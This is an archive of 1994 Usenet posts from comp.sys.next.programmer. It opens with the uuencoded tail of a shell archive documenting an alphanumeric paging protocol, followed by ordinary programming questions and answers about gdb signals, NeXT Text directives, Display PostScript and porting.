M;W)R96-T(&)A=60@<F%T92!O<B!U;G1I;"!T:')E92!T<F%N<VUI<W-I;VYS M"EAH879E(&)E96X@8V]M<&QE=&5D+B @*%1H:7,@<W1E<"!E>&ES=',@=&\@ M86QL;W<@9F]R('!O<W-I8FQE(&9U='5R90I88F%U9"!R871E(')E8V]G;FET M:6]N*2X*6 I84V]M92!S>7-T96US(&AA=F4@8VAO<V5N('1O('-E;F0@240] M(&9R;VT@=&AE(&-E;G1R86P@:68@=&AE>2!D;R!N;W0*6')E8V5I=F4@0U(@ M:6X@86)O=70@='=O('-E8V]N9',N("!4:&ES('9A<FEA=&EO;B!A<'!E87)S M('1O(&)E"EAA8V-E<'1A8FQE(&%S('1H92!C96YT<F%L(&-O;G1I;G5E<R!T M;R!R97-P;VYD('1O($-2)W,@=VET:"!)1#TG<RX*6 I8*#(I($-E;G1R86P@ M<V5N9',@240]+B @4F5Q=65S="!F;W(@240@<F5T=7)N960@=VET:&EN(&]N M92!S96-O;F0@;V8*6')E8V5I<'0@;V8@0U(N("!086=I;F<@8V5N=')A;"!M M87DL(&%T(&ET<R!O<'1I;VXL('-E;F0@0U(@;W(@0U(@3$8*6&%F=&5R($E$ M/0I8"EA086=I;F<@8V5N=')A;"!M87D@;W!T:6]N86QL>2!C:&]O<V4@=&\@ M<V5N9"!)1#T@:68@:70@9&]E<R!N;W0*6')E8V5I=F4@0U(@869T97(@87!P M<F]P<FEA=&4@=V%I=&EN9R!T:6UE+@I8"EA&3U(@05543TU!5$E#(%)%34]4 M12!%3E1263H*6$%T('1H:7,@<&]I;G0@>6]U(&-A;B!S=&%R="!F;VQL;W=I M;F<@,D$@;W(@,DT@9&5P96YD:6YG(&]N('=H:6-H"EAS=6(M<')O=&]C;VP@ M>6]U('=A;G0@=&\@=7-E+@I8"E@H,D$I(%)E;6]T92!S96YD<R!%4T,@4U-4 M(" H='EP:6-A;&QY($530R!01S$I"EA%4T,@<VEG;FEF:65S(&5N=')Y(&1E M=FEC92!I;G1E;F1S('1O('1A;&L@:6X@875T;VUA=&EC(&1U;7 @;6]D92X* M6 I84U,@:7,@82!S970@;V8@='=O(&%L<&AA;G5M97)I8R!C:&%R86-T;V5R M<R!S:6=N:69Y:6YG(&$@='EP92!O9@I8<V5R=FEC92!T;R!B92!A8V-E<W-E M9#H*6 I81F]R(&$@<&%G:6YG('-E<G9I8V4@=VAE<F4Z"EA&:65L9" Q(#T@ M4&%G97(@240@"EA&:65L9" R(#T@365S<V%G90I84U,@=VEL;"!B92!S96YT M(&%T(")01R(N"E@*6%=H97)E(%0@:7,@82!S:6YG;&4@86QP:&%N=6UE<FEC M(&-H87)A8W1E<B!R96QA=&EN9R!T;R!T:&4@='EP92!O9@I8=&5R;6EN86P@ M;W(@9&5V:6-E(&%T=&5M<'1I;F<@=&\@<V5N9"!T:&4@;65S<V%G92X@(%0@ M/2 B,2(@:7,@80I88V%T96=O<GD@;V8@96YT<GD@9&5V:6-E<R!U<VEN9R!T M:&4@<V%M92!P<F]T;V-O;"X@(%1H92!0151S(&%N9"!)6$\*6&1E=FEC97,@ M87)E(&UE;6)E<G,@;V8@=&AI<R!C871E9V]R>2X@(%0@/2 B-R(@;W(@(C@B M(&]R("(Y(B!A<F4*6')E<V5R=F5D(&9O<B!W:6QD(&-A<F0@=&5R;6EN86QS M(&]R(&1E=FEC97,@=VAI8V@@;6%Y(')E;&%T92!T;R!A"EAS<&5C:69I8R!U M<V5R<R<@<WES=&5M+@I8"E@H,T$I(%)E;6]T92!S96YD<R V+6-H87(@86QP M:&%N=6UE<FEC('!A<W-W;W)D('1H96X@0U(N(" H4&%S<W=O<F0@:7,*6&]P M=&EO;F%L(&%N9"!I<RP@:6X@9V5N97)A;"P@<F5S97)V960@9F]R(&9U='5R M92!S97)V:6-E<RX@(%!A<W-W;W)D"EAM87D@8F4@:6YT97)P<F5T960@87,@ M96ET:&5R(&$@8V%L;&5R($E$(&]R(&$@<WES=&5M(&5N=')Y(&ME>2X*6$QE M;F=T:"!O9B!P87-S=V]R9"P@=VAE;B!U<V5D+"!M87D@8F4@9&EF9F5R96YT M(&EN('-O;64@<WES=&5M<RXI"E@*6%=H96X@86X@:6YC;W)R96-T(&QO9V]N M('-E<75E;F-E(&)E9VEN;FEN9R!W:71H($530R!I<R!R96-E:79E9"P@=&AE M"EAP86=I;F<@8V5N=')A;"!M87D@<F5S<&]N9"!W:71H(&%N($E$/2!I9B!I M="!R97%U:7)E<R!A"EAR971R86YS;6ES<VEO;BX*6 I8*#1!*2!#96YT<F%L M(')E<W!O;F1S('=I=&@@82!M97-S86=E('-E<75E;F-E("AL:6YE<R!O9B!T M97AT+"!E86-H(&]N90I89F]L;&]W960@8GD@82!#4BDN(" H5'EP:6-A;"!M M97-S86=E<R!A<F4@(E!R;V-E<W-I;F<@+2!0;&5A<V4@5V%I="(L"E@B-"!P M86=E<R!S96YT(B!O<B B0F%D(%!H;VYE($QI;F4@0V%L;"!!9V%I;B(N"E@* M6"@U02D@0V5N=')A;"!T:&5N('-E;F1S(&]N92!O9B!T:')E92!S97%U96YC M97,Z"EA#4B!!0TL@0U(@(" @(" @("!4:&ES(&UE86YS(")L;V=O;B!A8V-E M<'1E9"(*6$-2($Y!2R!#4B @(" @(" @(%1H:7,@;65A;G,@(G)E<75E<W1E M9"!A9V%I;B(*6$-2($530R!%3U0@0U(@(" @(%1H:7,@;65A;G,@(D9O<F-E M9"!D:7-C;VYN96-T(@I8"E@H-D$I($-E;G1R86P@;6%Y('1H96X@<V5N9"!A M;F]T:&5R(&UE<W-A9V4@<V5Q=65N8V4@*&]P=&EO;F%L*2X*6 I8*#=!*2!# M96YT<F%L('-E;F1S($530R!;<"!#4@I8365S<V%G92!G;R!A:&5A9"!I<R!S M96YT('=H96X@<&%G:6YG(&-E;G1R86P@:7,@<F5A9'D@9F]R(&YE=PI8:6YF M;W)M871I;VXN("!4:&4@(G B(&ES(&QO=V5R8V%S92X*6 I8*#A!*2!296UO M=&4@<V5N9',@4U18(&9I96QD,2!#4B!F:65L9#(@0U(@9FEE;&0S($-2("XN M+B!F:65L9&X@0U(*6$5%12 \0TA%0TM354T^($-2"EA9;W4@8V%N('-E;F0@ M87,@;6%N>2!F:65L9',@87,@>6]U('=I<V@N("!01R!T97)M:6YA;',@<V5N M9"!T:&4*6'!A9V5R+6ED(&EN(&9I96QD,2!A;F0@=&AE(&UE<W-A9V4@:6X@ M9FEE;&0R+B @*&YO(&]T:&5R(&9I96QD<R!A<F4*6&1E9FEN960I+B @5&AI M<R!E;G1I<F4@;65S<V%G92!C86X@8F4@82!M87@@;V8@,C4P(&)Y=&5S+B @ M02!F:65L9"!M87D*6&)E(&%N>2!L96YG=&@@86YD('=H97)E(&YE8V5S<V%R M>2!M87D@8F4@8V]N=&EN=65D(&EN(&9O;&QO=VEN9PI88FQO8VMS+B @02!F M:65L9"!A;'=A>7,@96YD<R!W:71H(&$@0U(N("!4:&4@0U(@9FEE;&0@9&5L M:6UI=&5R"EAS=6=G97-T<R!#4B!M87D@;F]T(&)E('5S960@=VET:&EN(&$@ M9FEE;&0N("!!(&)L;V-K(&%L=V%Y<R!B96=I;G,*6'=I=&@@82!35%@@86YD M(&5N9',@=VET:"!A(&-H96-K<W5M(&9O;&QO=V5D(&)Y(&$@0U(N("!4:&4@ M8VAA<F%C=&5R<PI8<')E8V5D:6YG('1H92!C:&5C:W-U;2!D97!E;F1S(&]N M('=H870L(&EF(&%N>71H:6YG+"!I<R!C;VYT:6YU960*6&)E>6]N9"!T:&4@ M8FQO8VL@8F]U;F1A<GDN"E@*6$5%12!C86X@8F4@86X@1518+"!%5$(L(&]R M(%)3+@I8"EA4:&4@1518(&ES('5S960@87,@82!B;&]C:R!T97)M:6YA=&EO M;B!I;F1I8V%T;W(@:68@82!G:79E;@I8=')A;G-A8W1I;VX@*&9I96QD<R Q M('1H<F]U9V@@3BD@96YD<R!W:71H:6X@=&AE(&)L;V-K(&)E:6YG"EAT<F%N M<VUI='1E9"X*6 I85&AE($540B!I<R!U<V5D(&%S(&$@8FQO8VL@=&5R;6EN M871O<B!I9B!T:&4@=')A;G-A8W1I;VX@:7,@8V]N=&EN=65D"EAI;G1O('1H M92!N97AT(&)L;V-K+"!B=70@=&AE(&QA<W0@9FEE;&0@:6X@=&AE(&-U<G)E M;G0@8FQO8VL@:7,*6&-O;7!L971E+@I8"EA)9B!T:&4@;&%S="!F:65L9"!W M:71H:6X@=&AE(&-U<G)E;G0@8FQO8VL@:7,@=&\@8F4@8V]N=&EN=65D(&EN M('1H90I8;F5X="!B;&]C:RP@;F\@0U(@:7,@:6YS97)T960@870@=&AE(&5N M9"!O9B!T:&4@9FER<W0@<&]R=&EO;B!O9B!T:&4*6&9I96QD(&%N9"!T:&4@ M55,@8VAA<F%C=&5R(&ES('5S960@87,@82!B;&]C:R!T97)M:6YA=&EO;B!C M:&%R86-T97(N"EA4:&4@0U(@=&5R;6EN871I;F<@=&AE(&)R;VME;B!F:65L M9"!I<R!S96YT(&%T('1H92!E;F0@;V8@=&AE(&9I96QD(&EN"EAW:&%T979E M<B!B;&]C:R!T:&4@9FEE;&0@86-T=6%L;'D@=&5R;6EN871E<RX*6 I83F\@ M;&EM:70@:7,@97-T86)L:7-H960@=VET:&EN('1H92!P<F]T;V-O;"!I='-E M;&8@<F5G87)D:6YG('1H90I8;G5M8F5R(&]F('1R86YS86-T:6]N<RP@=&AE M(&YU;6)E<B!O9B!F:65L9',@;W(@=&AE(&YU;6)E<B!O9B!B;&]C:W,*6'!E M<B!F:65L9#L@:&]W979E<BP@82!P87)T:6-U;&%R('5S97(@<WES=&5M(&UA M>2!H879E(&QI;6ET<R!O;B!A;GD@;V8*6'1H97-E(&ET96US+@I8"EA3;VUE M('-Y<W1E;7,@;6%Y(&)E(&QI;6ET960@=&\@;VYE(&)L;V-K('!E<B!T<F%N M<V%C=&EO;B!A;F0@;VYE"EAT<F%N<V%C=&EO;B!P97(@=&5L97!H;VYE(&-O M;FYE8W1I;VXN"E@*6$5A8V@@8VAE8VMS=6T@:7,@8V]M<'5T960@8GD@<&5R M9F]R;6EN9R!T:&4@<VEM<&QE(&%R:71H;65T:6,@<W5M(&]F"E@W+6)I="!V M86QU97,@;V8@86QL(&-H87)A8W1E<G,@<')E8V5D:6YG(&ET(&EN('1H870@ M8FQO8VLN(" H5&AI<PI8;65A;G,@=&AA="!T:&4@4U18(&%N9"!%5$(O1518 M(&%R92!I;F-L=61E9"!I;B!T:&4@<W5M*2X@(%1H92!C:&5C:W-U;0I8:7,@ M=&AE;B!T:&4@;&5A<W0@<VEG;FEF:6-A;G0@,3(@8FET<R!O9B!T:&ES(')E M<W5L=&EN9R!S=6TN"E@*6%1H92!C:&5C:W-U;2!I<R!T<F%N<VUI='1E9"!A M<R!T:')E92!P<FEN=&%B;&4@05-#24D@8VAA<F%C=&5R<R!H879I;F<*6'9A M;'5E<R!B971W965N($A%6" S,"!A;F0@2$58(#-&("AT:&4@8VAA<F%C=&5R M<R P,3(S-#4V-S@Y.CL\/3X_*2X*6%1H92!M;W-T('-I9VYI9FEC86YT(&9O M=7(@8FET<R!O9B!T:&4@<W5M(&%R92!E;F-O9&5D(&%S('1H92 T($Q30B!O M9@I8=&AE('1H:7)D(&-H86-T97(N("!3964@97AA;7!L92X*6 I802!N;W)M M86P@<&%G:6YG('-Y<W1E;2!W:6QL(&AA=F4@='=O(&9I96QD<R!O;FQY.@I8 M"EA&:65L9" Q(#T@4&%G97(@240*6"AN;W)M86QL>2!U<"!T;R!E:6=H="!D M:6=I=',N("!-87D@:6YC;'5D92!F=6YC=&EO;B!A;F0@8VAE8VL@9&EG:70I M+@I8"EA&:65L9" R(#T@365S<V%G90I81FEE;&0@,2!O<B!F:65L9" R(&UA M>2!B92!E;7!T>2X@($9O<B!E>&%M<&QE+"!W:&5N(&$@<&%G92!I<R!T;VYE M(&]N;'DL"EAF:65L9" R('=I;&P@8F4@96UP='DN("!%=F5N('=H96X@96UP M='DL(&$@9FEE;&0@:7,@9F]L;&]W960@8GD@82!#4BX*6%-O;64@<WES=&5M M<R!W:6QL(')E:F5C="!T<F%N<V%C=&EO;G,@=VAI8V@@:&%V92!A;B!E;7!T M>2!F:65L9" R(&9O<@I882!D:7-P;&%Y('!A9V4@;W(@=')A;G-A8W1I;VYS M('=H:6-H(&AA=F4@86X@96UP='D@9FEE;&0@,2X@($]T:&5R"EAS>7-T96US M(&%R92!L97-S(')E<W1R:6-T:79E+@I8"E@H.4$I(%1H92!R97-P;VYS92!T M;R!E86-H(&)L;V-K(&ES(&]N92!O9B!F;W5R.@I8365S<V%G92!S97%U96YC M92!#4B!!0TL@0U(@(" ]($]++"!S96YD(&YE>'0@8FQO8VLN"EA-97-S86=E M('-E<75E;F-E($-2($Y!2R!#4B @(#T@0VAE8VMS=6T@;W(@=')A;G-M:7-S M:6]N(&5R<F]R+"!S96YD(&QA<W0@"E@@(" @(" @(" @(" @(" @(" @(" @ M(" @(" @(" @8FQO8VL@86=A:6XN"EA-97-S86=E('-E<75E;F-E($-2(%)3 M($-2(" @(#T@06)A;F1O;B!C=7)R96YT('1R86YS86-T:6]N(&%N9"!G;R!T M;R!N97AT+@I8(" @(" @(" @(" @(" @(" @(" @(" @(" @(" @(%)3(&UA M>2!O8V-U<B!W:&5N('1H92!C:&5C:W-U;2!I<R!/2RP*6" @(" @(" @(" @ M(" @(" @(" @(" @(" @(" @("!B=70@=&AE(&-U<G)E;G0@=')A;G-A8W1I M;VX@=FEO;&%T97,@80I8(" @(" @(" @(" @(" @(" @(" @(" @(" @(" @ M('-Y<W1E;2!R=6QE+B @070@=&AE(&]P=&EO;B!O9B!T:&4*6" @(" @(" @ M(" @(" @(" @(" @(" @(" @(" @("!S>7-T96TL(&ET(&UA>2!O8V-U<F4@ M:6X@;W1H97(@8V%S97,N"EA-97-S86=E('-E<75E;F-E($-2($530R!%3U0@ M0U(@(" ]($)E9VEN(&1I<V-O;FYE8W0N"E@*6$%N>2!O9B!T:&4@<F5S<&]N M<V5S(&UA>2!H879E(&%N(&]P=&EO;F%L(&UE<W-A9V4@<V5Q=65N8V4@8F5F M;W)E"EAT:&5M+"!A;'1H;W5G:"!T:&4@<WES=&5M(&1E<VEG;F5R('-H;W5L M9"!U;F1E<G-T86YD('1H92!C;VYS97%U96YC97,*6'1O('1H92!U<V5R('=I M=&@@86QL('!L86YN960@96YT<GD@9&5V:6-E<RX*6 I8270@:7,@97AP96-T M960@=&AA="!M86YY('-Y<W1E;7,@=VEL;"!S879E('1H96ER(&UE<W-A9V4@ M<V5Q=65N8V4*6')E<W!O;G-E<R!U;G1I;"!I;6UE9&EA=&5L>2!B969O<F4@ M9&ES8V]N;F5C="X@($9O<B!S;VUE(&5N=')Y"EAD979I8V5S+"!I="!M87D@ M86QS;R!B92!D97-I<F%B;&4@=&AA="!M97-S86=E(&1E<V-R:6)I;F<@;F]N M+6-H96-K<W5M"EAE<G)O<B!A<W-O8V%I871E9"!W:71H(&$@<&%R=&EC=6QA M<B!T<F%N<V%C=&EO;B!I;B!A(%!'('-E<G9I8V4@=VEL; I88F5G:6X@=VET M:"!T:&4@;&5T=&5R($E$(&9O;&QO=V5D(&)Y('1H92!C;VYT96YT<R!O9B!F M:65L9" Q(&9O<B!T:&%T"EAT<F%N<V%C=&EO;BX*6 I8*#$P02D@4F5M;W1E M('-E;F1S($5/5"!#4@I8069T97(@<F5C97!T:6]N(&]F(&%N($%#2R!O<B!2 M4R!F;W(@=&AE(&QA<W0@=')A;G-A8W1I;VX@:6X@82!G:79E;@I8<V5R=FEC M92P@=&AE(&5N=')Y(&1E=FEC92!S96YD<R!%3U0@0U(@;65A;FEN9R!T:&5R M92!A<F4@;F\@;6]R90I8=')A;G-A8W1I;VYS(')E;6%I;FEN9R!I;B!T:&ES M('-E<G9I8V4N"E@*6"@Q,4$I($]P=&EO;F%L.B!#96YT<F%L('-E;F1S(&$@ M;65S<V%G92!S97%U96YC92!#4BX*6$%L=&AO=6=H(&]P=&EO;F%L+"!I="!I M<R!H:6=H;'D@9&5S:7)A8FQE+@I8"E@H,3)!*2!#96YT<F%L('-E;F1S(%)3 M($-2"EA!;B!24R!#4B!S:&]U;&0@8F4@<V5N="!A="!T:&ES('!O:6YT(&EF M('1H92!P86=I;F<@8V5N=')A;"!F:6YD<R!A;GD*6&1A=&$@04-+(&EN('!R M979I;W5S('-T97!S(&)Y('1H92!S>7-T96T@=&\@8F4@=6YA8V-E<'1A8FQE M(&)E8V%U<V4@;V8*6&-O;G1E;G0@*&4N9RX@:6YV86QI9"!P86=E<B!N=6UB M97(@;W(@82!M97-S86=E(&9I96QD(&EN87!P<F]P<FEA=&4*6&9O<B!T:&4@ M='EP92!O9B!P86=E<RP@971C+BD*6 I8*#$S02D@0V5N=')A;"!S96YD<R!% M4T,@14]4($-2"EAT:&5N(&AA;F=S('5P+@I8"E@H,31!*2!S=&]P+@I8"E@H M,DTI(%)E;6]T92!S96YD<R!-($-2("AC87!I=&]L($T@=&AE;B!#4BD*6$QA M8VL@;V8@15-#(&%T(&)E9VEN;FEN9R!O9B!R97-P;VYS92!T;R!)1"!S:6=N M:69I97,@;6%N=6%L(&]P97)A=&EO;@I8=VAE<F4@87!P;&EC86)L92X@($9R M;VT@:&5R92!O;B!I="=S('5N9&5F:6YE9"P@8G5T(&UO<W0@<WES=&5M<R!A M<VL*6"AI;B!%;F=L:7-H*2!F;W(@=&AE(&EN9F\@=&AE>2!N965D(&%N9"!T M:&5N(')E='5R;B!Y;W4@=&\@<W1E<" H,2DN"E@*6$Y/5$53.@I80F5L;" Q M,#,@,S P8G!S(&UO9&5M(&ES('-T86YD87)D+"!O=&AE<G,@;6%Y(&)E('5S M960N("!0<F]T;V-O;"!I<PI805-#24D@=VET:"!83TXL(%A/1D8@96ET:&5R M(&1I<F5C=&EO;B!U<VEN9R Q,"UB:70@8V]D92 H,2!S=&%R="P@-PI89&%T M82P@,2!P87)I='DL(#$@<W1O<"D@=VET:"!E=F5N('!A<FET>2X*6 I826X@ M=&AE(&-A<V4@;V8@9&5L87ES+"!T:&4@<&%G:6YG(&-E;G1R86P@<VAA;&P@ M=V%I="!A="!L96%S="!F;W5R"EAS96-O;F1S("AE:6=H="!S96-O;F1S(&9O M<B H,2D@*#(I("@R02DI(&)E9F]R92!D:7-C;VYN96-T:6YG('1H90I8<F5M M;W1E(&5N=')Y(&1E=FEC92X@(%1H92!R96UO=&4@96YT<GD@9&5V:6-E('-H M86QL('=A:70@870@;&5A<W0@,3 *6'-E8V]N9',@9F]R(&$@8VAA<F%C=&5R M(&9R;VT@=&AE(&-E;G1R86P@8F5F;W)E(&AA;F=I;F<@=7 N"E@*6%!A9VEN M9R!C96YT<F%L(&UA>2P@870@:71S(&]P=&EO;BP@<V5N9"!#4B!,1B!I;B!P M;&%C92!O9B!#4B!A="!T:&4*6&5N9"!O9B!A;GD@<V5Q=65N8V4N"E@*6$9O M<B!I;FET86P@=7-E(&]F('!R;W1O8V]L+"!T:&4@<&%G:6YG(&-E;G1R86P@ M<VAA;&P@8F4@97%U:7!P960@=&\*6')E8V5I=F4@9G5L;"!D=7!L97@@=7-I M;F<@82!"96QL(#$P,R!C;VUP871I8FQE(&UO9&5M(&%T(#,P,"!B875D+@I8 M3W!T:6]N86QL>2P@8V5R=&%I;B!I;G!U=',@;6%Y(&)E(&-A<&%B;&4@;V8@ M<F5C96EV:6YG(#$Q,"!B875D($)E;&P*6#$P,R!F=6QL(&1U<&QE>"P@,S P M+S$R,# @8F%U9"!"96QL(#(Q,B!F=6QL(&1U<&QE>"X@($YO(&5C:&\@<VAA M;&P@8F4*6&5M<&QO>65D(&EN(&9U;&P@9'5P;&5X(&UO9&4N("!!;GD@871T M96UP=',@870@875T;VUA=&EC(&)A=60@<F%T90I89&5T97)M:6YA=&EO;B!S M:&%L;"!B92!W:71H:6X@=&AE(')E<W1R86EN=',@;V8@=&AE('-P96-I9FEE M9 I8<')O=&]C;VPN"E@*6 I84T%-4$Q%($-H96-K<W5M($5X86UP;&4Z"E@* M6%-46" @(# P," P,#$P"E@Q(" @(" P,3$@,# P,0I8,B @(" @,#$Q(# P M,3 *6#,@(" @(# Q,2 P,#$Q"EA#4B @(" P,# @,3$P,0I802 @(" @,3 P M(# P,#$*6$(@(" @(#$P," P,#$P"EA#(" @(" Q,# @,# Q,0I80U(@(" @ M,# P(#$Q,#$*6$546" @(# P," P,#$Q"E@@(" @,3 Q,3$@,3 Q,0I8(" @ M(#$@(" W(" @.PI8"EA3;RP@=&AE(&-H96-K<W5M(&ES("(Q-SLB"E@*6%1H M97)E(&ES(&%L<V\@82!R96%L;'D@;FEC92!F;&]W8VAA<G0L('=H:6-H($D@ M8V%N)W0@<F5P<F]D=6-E(&AE<F4*6'=I=&AO=70@;75C:"!T;V\@;75C:"!T M<F]U8FQE+B @+BXN86YD('EO=2!W;W5L9&XG="!H879E(&MN;W=N(&ET"EAE M>&ES=&5D(&EF($D@:&%D;B=T('1O;&0@>6]U+B Z+2D*4TA!4E]%3T8*;&5N M/6!W8R M8R \(&EX;RYD;V-@"FEF('1E<W0@)&QE;B A/2 X-S,W(#L@=&AE M;@IE8VAO('-H87(Z(&EX;RYD;V,@=V%S("1L96X@8GET97,@;&]N9RP@<VAO M=6QD(&AA=F4@8F5E;B X-S,W"F9I"F9I(",@96YD(&]F(&]V97)W<FET:6YG M(&-H96-K"@IE>&ET(# *(PE%;F0@;V8@<VAE;&P@87)C:&EV90H*97AI=" P 3(",@2G5S="!I;B!C87-E+BXN"F0@ end
From: lloyd@goldhost.lscf.ucsb.edu (Lloyd Goldwasser) Newsgroups: comp.sys.next.programmer Subject: Resizing gdb Terminal window crashes my program Date: 8 May 1994 02:20:33 GMT Organization: University of California, Santa Barbara Message-ID: <2qhi9h$il0@ucsbuxb.ucsb.edu> I'm debugging a program, using the standard cycle with PB, debug, gdb, run -- and something peculiar started happening. When I resize the Terminal window in which gdb is running, the program crashes, giving the message Program received signal 28, Window size changed 0x500892e in msg_receive_trap () Why should this be a problem? Any ideas what's going on? Thanks, Lloyd Goldwasser goldwass@lifesci.lscf.ucsb.edu
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Alpa-Numeric paging software (also compiling sun/hp code) Date: 8 May 1994 09:32:13 GMT Organization: San Francisco State University Message-ID: <2qibit$be8@nic-nac.CSU.net> References: <WBA.94May7131709@netcom2.netcom.com> Throw this code away! Limoncelli released two more versions of fbeep--and then abandoned the project, replacing it with something called tpage. Last I heard (and this might not be current), the anonymous FTP site was anonftp.geo.mtu.edu, directory pub/ixo/. The folks reading comp.dcom.telecom.tech can probably steer you in the right direction. -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Resizing gdb Terminal window crashes my program Date: 8 May 1994 09:42:36 GMT Organization: San Francisco State University Message-ID: <2qic6c$bqm@nic-nac.CSU.net> References: <2qhi9h$il0@ucsbuxb.ucsb.edu> In article <2qhi9h$il0@ucsbuxb.ucsb.edu> goldwass@lifesci.lscf.ucsb.edu (Lloyd Goldwasser) writes: >When I resize the Terminal window in which gdb is running, >the program crashes, giving the message > > Program received signal 28, Window size changed > 0x500892e in msg_receive_trap () > >Why should this be a problem? Any ideas what's going on? It's not a problem, and the program hasn't crashed. Just type "cont" to resume execution. -or- Tell gdb handle 28 nostop noprint pass and it won't happen again. (Hint: You can put this in a .gdbinit file) [Yet another item for the c.s.n.p FAQ list...] -=EPS=-
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Resizing gdb Terminal window crashes my program Date: 08 May 1994 10:09:44 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May8110945@steffi.demon.co.uk> References: <2qhi9h$il0@ucsbuxb.ucsb.edu> <2qic6c$bqm@nic-nac.CSU.net> To: eps@futon.SFSU.EDU (Eric P. Scott) In-reply-to: eps@futon.SFSU.EDU's message of 8 May 1994 09:42:36 GMT <eps@futon.SFSU.EDU> writes: >[Yet another item for the c.s.n.p FAQ list...] There is no such list. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Given a text object how do I get it's directives? Date: 08 May 1994 11:59:59 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May8125959@steffi.demon.co.uk> Where exactly are the directive/class associations stored in Text? ie. given a text object how can I determine all of the registered directives? And where specifically is \linkFilename being registered to NXLinkCell? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: SUMMARY: DPS issues Date: 8 May 1994 10:15:37 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405081507.AA01302@flexus> LS, Only Scott Byer provided information. --- Re: A plea from a notebook user - window sizing! Re: Pixel pitch NeXT has neglected to provide real-size WYSIWYG in Edit and Preview (and it's sooo simple!), and also to let DPS know the pixel pitch of the screen(s) attached (the device drivers should determine this from the hardware if possible, or be able to be manually configured otherwise, rather than be hard-coded for 92-ppi screens only, as is probably the case now). And there obviously isn't a -[View scaleToRealSize] method. This information should obviously be kept in NetInfo/LocalConfig/Screens, and Configure.app/Preferences.app should provide the means to set it (well, the interface to set this up is far less important than proper operation, of course). Workaround: ask the user and store in the defaults mechanism. Well, you should really store (host,resolution) pairs. Happy mission-critical programming. --- Re: scan conversion details in NEXTSTEP's implementation of DPS Scott misinterpreted my problem: these are 1-unit-wide strokes (the default), not zero-width strokes. So my point still stands that, contrary to NeXT Developer's Library/Supplementary Documentation/ Extensions for the DPS system/Scan conversion details, this 1-unit-wide, zero-length stroke is not drawn if strokeadjust is not on, although it should be (only zero-width strokes are exempt from the half-open pixels and shapes rule). Cure (for Adobe): change the documentation or the implementation. Scott> Since the scan conversion rules are specifically not part Scott> of the language specification, but are a private part of Scott> the implementation, this is perfectly acceptable Scott> behaviour. Huh? ``To ensure consistent and predictable results, the scan conversion algorithm is now specified more rigorously.'' Scott> The correct way to draw a single pixel consistently is Scott> to use "1 1 idtransform" to find the width and height of Scott> a single device pixel in userspace, and then either use Scott> rectfill (preferable) or rlineto to draw the pixels. Well, if you say so; I just trusted the docs. --- Re: synchronising contexts, BuildChar Scott> Yes, it's both a real bug and a documentation bug. Scott> "condition", "wait", et.al, should not be allowed to Scott> execute within a "BuildChar" or "BuildGlyph" proc. And I was so glad to have this neat scheme... Raf> Suggestions for alternatives are welcome too. Would file I/O with Raf> sockets (yuck) work? (Running NS_3.2 on a NeXTstation.) Scott> You could have the font grab the character definitions Scott> at definefont time, and stick them in it's own /CharProcs Scott> dictionary. Huh? There is no information about the resolution before setfont (actually scalefont/makefont) time! --- Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Given a text object how do I get it's directives? Date: 8 May 1994 19:25:54 GMT Organization: San Francisco State University Message-ID: <2qjec2$32j@nic-nac.CSU.net> References: <ROBERT.94May8125959@steffi.demon.co.uk> In article <ROBERT.94May8125959@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >Where exactly are the directive/class associations stored in Text? In a pair of NXHashTables, each containing the same information. One's searchable by directive, the other by class. >ie. given a text object how can I determine all of the registered >directives? Directives aren't registered per-object; note that all the methods dealing with directives are class methods, so registrations apply to all Text objects used in an application. You'd have to get your paws on either dirTab or classTab. They're declared static NXHashTable * [in libNeXT_s], so some naughtiness is needed to resolve them. :-) Iterate over the elements using NXInitHashState() and NXNextHashState(). Each element is an undocumented 4-member struct _NXSymbolTable consisting of + a char * pointing to the directive name + an unsigned char containing the value 2 + an int containing the value 12 + an id of the class >And where specifically is \linkFilename being registered to NXLinkCell? Text's +initialize registers the following: "NeXTGraphic" -> NXGraphicCell "NeXTHelpMarker" -> NXMarkerCell "NeXTHelpLink" -> NXLinkCell \linkFilename is written by NXLinkCell's -writeRichText:forView: method; it's not registered as a directive. Now, I have a question for you: Why on Earth do you want to know these things??? -=EPS=-
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: termios (Was Re: Alpa-Numeric paging software...) Date: 8 May 1994 19:42:41 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2qjfbh$j5n@cerberus.wsc.com> References: <WBA.94May7131709@netcom2.netcom.com> If you want to use the termios support on NEXTSTEP, you have to compile with the -posix flag. As far as I can tell, it is a subset of that which is on HPUX (I don't know if it is really posix compliant or not). - darcy
From: adhir@bigdipper.umd.edu (Alok K. Dhir) Newsgroups: comp.sys.next.programmer Subject: putenv()? Date: 8 May 1994 21:23:15 GMT Organization: University of Maryland, College Park Message-ID: <2qjl83$pdt@umd5.umd.edu> Hey all - I am trying to compile fvwm - an excellent window manager for X... I am using Cub'X-Window v4.4. The problem is that fvwm.c contains a number of references to putenv(string), but NS does not appear to have putenv... So my question is this: does printenv have the same function as putenv? If I change references to putenv to printenv, can I expect things to work? If not, what can I do? I found a putenv.c on a FreeBSD site which I could compile and add to libsys, but I am flying pretty blind here - I can usually get things to work by futzing around with them, but I do not necessarily understand everything... :-) Thanks... -- -------------------------------------___--------------------------------- | Al Dhir, Programmer Analyst /___\ UMCP Ag-Engineering Dept | | Internet: 